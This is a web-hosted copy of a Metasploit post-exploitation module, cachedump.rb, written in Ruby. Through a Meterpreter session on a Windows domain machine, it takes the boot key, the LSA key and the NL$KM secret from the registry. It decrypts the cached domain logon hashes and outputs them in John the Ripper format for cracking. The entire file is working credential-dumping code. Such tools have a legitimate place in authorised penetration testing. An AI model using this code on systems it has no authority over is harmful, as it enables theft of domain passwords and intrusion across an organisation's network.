Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/cachedump.rb
22095 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
class MetasploitModule < Msf::Post
8
include Msf::Post::Windows::Priv
9
include Msf::Post::Windows::Registry
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Windows Gather Credential Cache Dump',
16
'Description' => %q{
17
This module uses the registry to extract the stored domain hashes that have been
18
cached as a result of a GPO setting. The default setting on Windows is to store
19
the last ten successful logins.
20
},
21
'License' => MSF_LICENSE,
22
'Author' => [
23
'Maurizio Agazzini <inode[at]mediaservice.net>',
24
'mubix'
25
],
26
'Platform' => ['win'],
27
'SessionTypes' => ['meterpreter'],
28
'References' => [
29
['URL', 'https://web.archive.org/web/20220407023137/https://lab.mediaservice.net/code/cachedump.rb'],
30
['ATT&CK', Mitre::Attack::Technique::T1003_005_CACHED_DOMAIN_CREDENTIALS]
31
],
32
'Notes' => {
33
'Stability' => [CRASH_SAFE],
34
'Reliability' => [],
35
'SideEffects' => []
36
},
37
'Compat' => {
38
'Meterpreter' => {
39
'Commands' => %w[
40
stdapi_railgun_api
41
stdapi_registry_open_key
42
]
43
}
44
}
45
)
46
)
47
end
48
49
def check_gpo
50
gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')
51
print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")
52
end
53
54
def capture_nlkm(lsakey)
55
nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')
56
57
vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")
58
59
if lsa_vista_style?
60
nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
61
elsif sysinfo['Architecture'] == ARCH_X64
62
nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)
63
else # 32 bits
64
nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)
65
end
66
67
return nlkm_dec
68
end
69
70
def parse_decrypted_cache(dec_data, cache_entry)
71
i = 0
72
hash = dec_data[i, 0x10]
73
i += 72
74
75
username = dec_data[i, cache_entry.user_name_length].split("\x00\x00").first.gsub("\x00", '')
76
i += cache_entry.user_name_length
77
i += 2 * ((cache_entry.user_name_length / 2) % 2)
78
79
vprint_good "Username\t\t: #{username}"
80
vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"
81
82
if lsa_vista_style?
83
if (cache_entry.iteration_count > 10240)
84
iteration_count = cache_entry.iteration_count & 0xfffffc00
85
else
86
iteration_count = cache_entry.iteration_count * 1024
87
end
88
vprint_good "Iteration count\t: #{cache_entry.iteration_count} -> real #{iteration_count}"
89
end
90
91
last = Time.at(cache_entry.last_access)
92
vprint_good "Last login\t\t: #{last.strftime('%F %T')} "
93
94
dec_data[i, cache_entry.domain_name_length + 1]
95
i += cache_entry.domain_name_length
96
97
if (cache_entry.dns_domain_name_length != 0)
98
dns_domain_name = dec_data[i, cache_entry.dns_domain_name_length + 1].split("\x00\x00").first.gsub("\x00", '')
99
i += cache_entry.dns_domain_name_length
100
i += 2 * ((cache_entry.dns_domain_name_length / 2) % 2)
101
vprint_good "DNS Domain Name\t: #{dns_domain_name}"
102
end
103
104
if (cache_entry.upn_length != 0)
105
upn = dec_data[i, cache_entry.upn_length + 1].split("\x00\x00").first.gsub("\x00", '')
106
i += cache_entry.upn_length
107
i += 2 * ((cache_entry.upn_length / 2) % 2)
108
vprint_good "UPN\t\t\t: #{upn}"
109
end
110
111
if (cache_entry.effective_name_length != 0)
112
effective_name = dec_data[i, cache_entry.effective_name_length + 1].split("\x00\x00").first.gsub("\x00", '')
113
i += cache_entry.effective_name_length
114
i += 2 * ((cache_entry.effective_name_length / 2) % 2)
115
vprint_good "Effective Name\t: #{effective_name}"
116
end
117
118
if (cache_entry.full_name_length != 0)
119
full_name = dec_data[i, cache_entry.full_name_length + 1].split("\x00\x00").first.gsub("\x00", '')
120
i += cache_entry.full_name_length
121
i += 2 * ((cache_entry.full_name_length / 2) % 2)
122
vprint_good "Full Name\t\t: #{full_name}"
123
end
124
125
if (cache_entry.logon_script_length != 0)
126
logon_script = dec_data[i, cache_entry.logon_script_length + 1].split("\x00\x00").first.gsub("\x00", '')
127
i += cache_entry.logon_script_length
128
i += 2 * ((cache_entry.logon_script_length / 2) % 2)
129
vprint_good "Logon Script\t\t: #{logon_script}"
130
end
131
132
if (cache_entry.profile_path_length != 0)
133
profile_path = dec_data[i, cache_entry.profile_path_length + 1].split("\x00\x00").first.gsub("\x00", '')
134
i += cache_entry.profile_path_length
135
i += 2 * ((cache_entry.profile_path_length / 2) % 2)
136
vprint_good "Profile Path\t\t: #{profile_path}"
137
end
138
139
if (cache_entry.home_directory_length != 0)
140
home_directory = dec_data[i, cache_entry.home_directory_length + 1].split("\x00\x00").first.gsub("\x00", '')
141
i += cache_entry.home_directory_length
142
i += 2 * ((cache_entry.home_directory_length / 2) % 2)
143
vprint_good "Home Directory\t\t: #{home_directory}"
144
end
145
146
if (cache_entry.home_directory_drive_length != 0)
147
home_directory_drive = dec_data[i, cache_entry.home_directory_drive_length + 1].split("\x00\x00").first.gsub("\x00", '')
148
i += cache_entry.home_directory_drive_length
149
i += 2 * ((cache_entry.home_directory_drive_length / 2) % 2)
150
vprint_good "Home Directory Drive\t: #{home_directory_drive}"
151
end
152
153
vprint_good "User ID\t\t: #{cache_entry.user_id}"
154
vprint_good "Primary Group ID\t: #{cache_entry.primary_group_id}"
155
156
relative_id = []
157
while (cache_entry.group_count > 0)
158
# TODO: parse attributes
159
relative_id << dec_data[i, 4].unpack('V')[0]
160
i += 4
161
dec_data[i, 4].unpack('V')[0]
162
i += 4
163
cache_entry.group_count -= 1
164
end
165
166
vprint_good("Additional groups\t: #{relative_id.join ' '}")
167
168
if cache_entry.logon_domain_name_length != 0
169
logon_domain_name = dec_data[i, cache_entry.logon_domain_name_length + 1].split("\x00\x00").first.gsub("\x00", '')
170
cache_entry.logon_domain_name_length
171
cache_entry.logon_domain_name_length
172
vprint_good "Logon domain name\t: #{logon_domain_name}"
173
end
174
175
@credentials <<
176
[
177
username,
178
hash.unpack('H*')[0],
179
iteration_count,
180
logon_domain_name,
181
dns_domain_name,
182
last.strftime('%F %T'),
183
upn,
184
effective_name,
185
full_name,
186
logon_script,
187
profile_path,
188
home_directory,
189
home_directory_drive,
190
cache_entry.primary_group_id,
191
relative_id.join(' '),
192
]
193
194
vprint_good('----------------------------------------------------------------------')
195
196
if lsa_vista_style?
197
return "#{username.downcase}:$DCC2$#{iteration_count}##{username.downcase}##{hash.unpack('H*')[0]}:#{dns_domain_name}:#{logon_domain_name}\n"
198
end
199
200
"#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dns_domain_name}:#{logon_domain_name}\n"
201
end
202
203
def parse_cache_entry(cache_data)
204
j = Struct.new(
205
:user_name_length,
206
:domain_name_length,
207
:effective_name_length,
208
:full_name_length,
209
:logon_script_length,
210
:profile_path_length,
211
:home_directory_length,
212
:home_directory_drive_length,
213
:user_id,
214
:primary_group_id,
215
:group_count,
216
:logon_domain_name_length,
217
:logon_domain_id_length,
218
:last_access,
219
:last_access_time,
220
:revision,
221
:sid_count,
222
:valid,
223
:iteration_count,
224
:sif_length,
225
:logon_package,
226
:dns_domain_name_length,
227
:upn_length,
228
:ch,
229
:enc_data
230
)
231
232
s = j.new
233
234
s.user_name_length = cache_data[0, 2].unpack('v')[0]
235
s.domain_name_length = cache_data[2, 2].unpack('v')[0]
236
s.effective_name_length = cache_data[4, 2].unpack('v')[0]
237
s.full_name_length = cache_data[6, 2].unpack('v')[0]
238
s.logon_script_length = cache_data[8, 2].unpack('v')[0]
239
s.profile_path_length = cache_data[10, 2].unpack('v')[0]
240
s.home_directory_length = cache_data[12, 2].unpack('v')[0]
241
s.home_directory_drive_length = cache_data[14, 2].unpack('v')[0]
242
243
s.user_id = cache_data[16, 4].unpack('V')[0]
244
s.primary_group_id = cache_data[20, 4].unpack('V')[0]
245
s.group_count = cache_data[24, 4].unpack('V')[0]
246
s.logon_domain_name_length = cache_data[28, 2].unpack('v')[0]
247
s.logon_domain_id_length = cache_data[30, 2].unpack('v')[0]
248
249
# Removed ("Q") unpack and replaced as such
250
thi = cache_data[32, 4].unpack('V')[0]
251
tlo = cache_data[36, 4].unpack('V')[0]
252
q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
253
s.last_access = ((q / 10000000) - 11644473600)
254
255
s.revision = cache_data[40, 4].unpack('V')[0]
256
s.sid_count = cache_data[44, 4].unpack('V')[0]
257
s.valid = cache_data[48, 2].unpack('v')[0]
258
s.iteration_count = cache_data[50, 2].unpack('v')[0]
259
s.sif_length = cache_data[52, 4].unpack('V')[0]
260
261
s.logon_package = cache_data[56, 4].unpack('V')[0]
262
s.dns_domain_name_length = cache_data[60, 2].unpack('v')[0]
263
s.upn_length = cache_data[62, 2].unpack('v')[0]
264
265
s.ch = cache_data[64, 16]
266
s.enc_data = cache_data[96..]
267
268
s
269
end
270
271
def decrypt_hash(edata, nlkm, ch)
272
rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
273
rc4 = OpenSSL::Cipher.new('rc4')
274
rc4.key = rc4key
275
decrypted = rc4.update(edata)
276
decrypted << rc4.final
277
278
decrypted
279
end
280
281
def decrypt_hash_vista(edata, nlkm, ch)
282
aes = OpenSSL::Cipher.new('aes-128-cbc')
283
aes.decrypt
284
aes.key = nlkm[16...32]
285
aes.padding = 0
286
aes.iv = ch
287
288
decrypted = ''
289
(0...edata.length).step(16) do |i|
290
decrypted << aes.update(edata[i, 16])
291
end
292
293
decrypted
294
end
295
296
def run
297
hostname = sysinfo.nil? ? cmd_exec('hostname') : sysinfo['Computer']
298
print_status("Running module against #{hostname} (#{session.session_host})")
299
300
@credentials = Rex::Text::Table.new(
301
'Header' => 'MSCACHE Credentials',
302
'Indent' => 1,
303
'Columns' =>
304
[
305
'Username',
306
'Hash',
307
'Hash iteration count',
308
'Logon Domain Name',
309
'DNS Domain Name',
310
'Last Login',
311
'UPN',
312
'Effective Name',
313
'Full Name',
314
'Logon Script',
315
'Profile Path',
316
'Home Directory',
317
'HomeDir Drive',
318
'Primary Group',
319
'Additional Groups'
320
]
321
)
322
323
client.railgun.netapi32
324
join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']
325
326
if sysinfo['Architecture'] == ARCH_X64
327
join_status &= 0x00000000ffffffff
328
end
329
330
if join_status != 3
331
fail_with(Failure::NoTarget, 'System is not joined to a domain, exiting..')
332
end
333
334
# Check policy setting for cached creds
335
check_gpo
336
337
print_status('Obtaining boot key...')
338
bootkey = capture_boot_key
339
340
fail_with(Failure::Unknown, 'Could not retrieve boot key. Are you SYSTEM?') if bootkey.blank?
341
342
vprint_status("Boot key: #{bootkey.unpack1('H*')}")
343
344
print_status('Obtaining Lsa key...')
345
lsa_key = capture_lsa_key(bootkey)
346
347
fail_with(Failure::Unknown, 'Could not retrieve LSA key. Are you SYSTEM?') if lsa_key.blank?
348
349
vprint_status("Lsa Key: #{lsa_key.unpack('H*')[0]}")
350
351
print_status('Obtaining NL$KM...')
352
nlkm = capture_nlkm(lsa_key)
353
vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")
354
355
print_status('Dumping cached credentials...')
356
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)
357
358
john = ''
359
360
ok.enum_value.each do |usr|
361
next unless usr.name.match(/^NL\$\d+$/)
362
363
begin
364
nl = ok.query_value(usr.name.to_s).data
365
rescue StandardError
366
next
367
end
368
369
cache = parse_cache_entry(nl)
370
371
next unless (cache.user_name_length > 0)
372
373
vprint_status("Reg entry: #{nl.unpack('H*')[0]}")
374
vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")
375
vprint_status("Ch: #{cache.ch.unpack('H*')[0]}")
376
377
if lsa_vista_style?
378
dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
379
else
380
dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
381
end
382
383
vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")
384
385
john << parse_decrypted_cache(dec_data, cache)
386
end
387
388
if @credentials.rows.empty?
389
print_status('Found no cached credentials')
390
return
391
end
392
393
if lsa_vista_style?
394
print_status('Hash are in MSCACHE_VISTA format. (mscash2)')
395
p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')
396
print_good("MSCACHE v2 saved in: #{p}")
397
john = "# mscash2\n" + john
398
else
399
print_status('Hash are in MSCACHE format. (mscash)')
400
p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')
401
print_good("MSCACHE v1 saved in: #{p}")
402
john = "# mscash\n" + john
403
end
404
405
print_status('John the Ripper format:')
406
print_line(john)
407
rescue ::Interrupt
408
raise $ERROR_INFO
409
rescue ::Rex::Post::Meterpreter::RequestError => e
410
print_error("Meterpreter Exception: #{e.class} #{e}")
411
print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
412
end
413
end
414
415